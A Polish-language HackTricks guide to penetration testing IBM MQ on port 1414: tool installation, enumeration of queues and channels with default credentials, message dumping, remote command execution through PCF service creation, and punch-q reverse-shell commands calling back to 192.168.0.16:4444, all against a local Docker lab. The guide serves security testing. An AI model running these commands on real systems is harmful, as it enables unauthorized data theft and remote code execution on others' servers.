# 1414 - Testowanie penetracyjne IBM MQ
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Podstawowe informacje IBM MQ to technologia firmy IBM do zarządzania kolejkami komunikatów. Podobnie jak inne technologie **brokera komunikatów**, jest dedykowana do odbierania, przechowywania, przetwarzania i klasyfikowania informacji między producentami a konsumentami. Domyślnie **eksponuje port TCP IBM MQ 1414**. Czasami interfejs API HTTP REST może być dostępny na porcie **9443**. Metryki (Prometheus) mogą być również dostępne z portu TCP **9157**. Port TCP IBM MQ 1414 można używać do manipulowania wiadomościami, kolejkami, kanałami, ... ale **również do kontrolowania instancji**. IBM udostępnia obszerną dokumentację techniczną dostępną na stronie [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq). ## Narzędzia Zalecanym narzędziem do łatwego wykorzystania jest **[punch-q](https://github.com/sensepost/punch-q)**, z użyciem Dockera. Narzędzie aktywnie korzysta z biblioteki Pythona `pymqi`. Dla bardziej manualnego podejścia, użyj biblioteki Pythona **[pymqi](https://github.com/dsuch/pymqi)**. Potrzebne są [zależności IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). ### Instalowanie pymqi Należy zainstalować i załadować **zależności IBM MQ**: 1. Utwórz konto (IBMid) na stronie [https://login.ibm.com/](https://login.ibm.com/). 2. Pobierz biblioteki IBM MQ ze strony [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Dla Linux x86_64 jest to **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 3. Rozpakuj (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Uruchom `sudo ./mqlicense.sh`, aby zaakceptować warunki licencji. >Jeśli używasz Kali Linux, zmodyfikuj plik `mqlicense.sh`: usuń/zakomentuj następujące linie (między liniami 105-110): > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 >fi >``` 5. Zainstaluj te pakiety: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Następnie tymczasowo dodaj pliki `.so` do LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **przed** uruchomieniem innych narzędzi korzystających z tych zależności. Następnie możesz sklonować projekt [**pymqi**](https://github.com/dsuch/pymqi): zawiera interesujące fragmenty kodu, stałe, ... Lub możesz bezpośrednio zainstalować bibliotekę za pomocą: `pip install pymqi`. ### Korzystanie z punch-q #### Z użyciem Dockera Po prostu użyj: `sudo docker run --rm -ti leonjza/punch-q`. #### Bez użycia Dockera Sklonuj projekt [**punch-q**](https://github.com/sensepost/punch-q), a następnie postępuj zgodnie z instrukcjami w pliku readme dotyczącymi instalacji (`pip install -r requirements.txt && python3 setup.py install`). Następnie można go używać za pomocą polecenia `punch-q`. ## Wyliczanie Możesz spróbować wyliczyć **nazwę menedżera kolejek, użytkowników, kanały i kolejki** za pomocą **punch-q** lub **pymqi**. ### Menedżer kolejek Czasami nie ma ochrony przed uzyskaniem nazwy menedżera kolejek: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Kanały **punch-q** korzysta z wewnętrznej (modyfikowalnej) listy słów do wyszukiwania istniejących kanałów. Przykład użycia: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` Zdarza się, że niektóre instancje IBM MQ akceptują **nieuwierzytelnione** żądania MQ, więc nie jest wymagane użycie `--username / --password`. Oczywiście, prawa dostępu mogą się różnić. Gdy tylko uzyskamy nazwę jednego kanału (tutaj: `DEV.ADMIN.SVRCONN`), możemy wyliczyć wszystkie inne kanały. Wyliczenie można zasadniczo wykonać za pomocą tego fragmentu kodu `code/examples/dis_channels.py` z biblioteki **pymqi**: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... Ale **punch-q** również zawiera tę część (z większą ilością informacji!). Można go uruchomić za pomocą: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Kolejki Istnieje fragment kodu z **pymqi** (`dis_queues.py`), ale **punch-q** pozwala na pobranie większej ilości informacji na temat kolejek: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Wykorzystanie ### Wydobywanie wiadomości Możesz wybrać kolejki/kanały, aby przechwycić/wydobyć z nich wiadomości (operacja nieniszcząca). *Przykłady:* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **Nie wahaj się iterować po wszystkich zidentyfikowanych kolejkach.** ### Wykonanie kodu > Kilka szczegółów przed kontynuacją: IBM MQ można kontrolować na wiele sposobów: MQSC, PCF, Control Command. Niektóre ogólne listy można znaleźć w [dokumentacji IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) to to, na czym się skupiamy, aby zdalnie komunikować się z instancją. **punch-q** i dalej **pymqi** opierają się na interakcjach PCF. > > Można znaleźć listę poleceń PCF: > * [Z dokumentacji PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), oraz > * [z stałych](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > Jednym interesującym poleceniem jest `MQCMD_CREATE_SERVICE`, a jego dokumentacja jest dostępna [tutaj](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Jako argument przyjmuje `StartCommand`, wskazujący na lokalny program na instancji (przykład: `/bin/sh`). > > W dokumentacji znajduje się również ostrzeżenie dotyczące tego polecenia: *"Uwaga: To polecenie umożliwia użytkownikowi uruchomienie dowolnego polecenia z uprawnieniami mqm. Jeśli użytkownikowi zostaną przyznane uprawnienia do korzystania z tego polecenia, złośliwy lub nieostrożny użytkownik może zdefiniować usługę, która uszkodzi systemy lub dane, na przykład przez usunięcie istotnych plików."* > > *Uwaga: zawsze zgodnie z dokumentacją IBM MQ (Administration Reference), istnieje również punkt końcowy HTTP pod adresem `/admin/action/qmgr/{qmgrName}/mqsc`, aby uruchomić równoważne polecenie MQSC dla tworzenia usługi (`DEFINE SERVICE`). Ten aspekt nie jest jeszcze tutaj omawiany.* Tworzenie / usuwanie usługi za pomocą PCF w celu zdalnego wykonania programu można wykonać za pomocą **punch-q**: **Przykład 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > W dziennikach IBM MQ można odczytać, że polecenie zostało pomyślnie wykonane: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: Polecenie '808544aa7fc94c48' zostało uruchomione. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` Można również wyliczyć istniejące programy na maszynie (tutaj `/bin/doesnotexist` ... nie istnieje): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Bądź świadomy, że uruchomienie programu jest asynchroniczne. Więc potrzebujesz drugiego elementu, aby wykorzystać podatność** ***(słuchacz dla odwróconej powłoki, tworzenie pliku na innym serwisie, eksfiltracja danych przez sieć...)*** **Przykład 2** Dla łatwej odwróconej powłoki, **punch-q** proponuje również dwa payloady odwróconej powłoki: * Jeden z bashem * Jeden z perlem *Oczywiście możesz zbudować własny z użyciem polecenia `execute`.* Dla basha: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` Dla perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Niestandardowe PCF Możesz zgłębić dokumentację IBM MQ i bezpośrednio użyć biblioteki python **pymqi**, aby przetestować konkretną komendę PCF, która nie jest zaimplementowana w **punch-q**. **Przykład:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` Jeśli nie możesz znaleźć nazw stałych, możesz odwołać się do [dokumentacji IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > *Przykład dla [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (dziesiętnie = 73). Wymaga parametru `MQCA_CLUSTER_NAME` (dziesiętnie = 2029), który może być `*` (Dok: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## Środowisko testowe Jeśli chcesz przetestować zachowanie i wykorzystanie IBM MQ, możesz skonfigurować lokalne środowisko oparte na Dockerze: 1. Posiadając konto na ibm.com i cloud.ibm.com. 2. Utwórz skonteneryzowany IBM MQ za pomocą: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Domyślnie uwierzytelnianie jest włączone, nazwa użytkownika to `admin`, a hasło to `passw0rd` (zmienna środowiskowa `MQ_ADMIN_PASSWORD`). Tutaj nazwa menedżera kolejek została ustawiona na `MYQUEUEMGR` (zmienna `MQ_QMGR_NAME`). Powinieneś mieć uruchomiony IBM MQ z wystawionymi portami: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > Stare wersje obrazów IBM MQ dla Docker znajdują się pod adresem: https://hub.docker.com/r/ibmcom/mq/. ## Odnośniki * [mgeeky's gist - "Praktyczne uwagi dotyczące testowania penetracyjnego IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [Dokumentacja IBM MQ](https://www.ibm.com/docs/en/ibm-mq)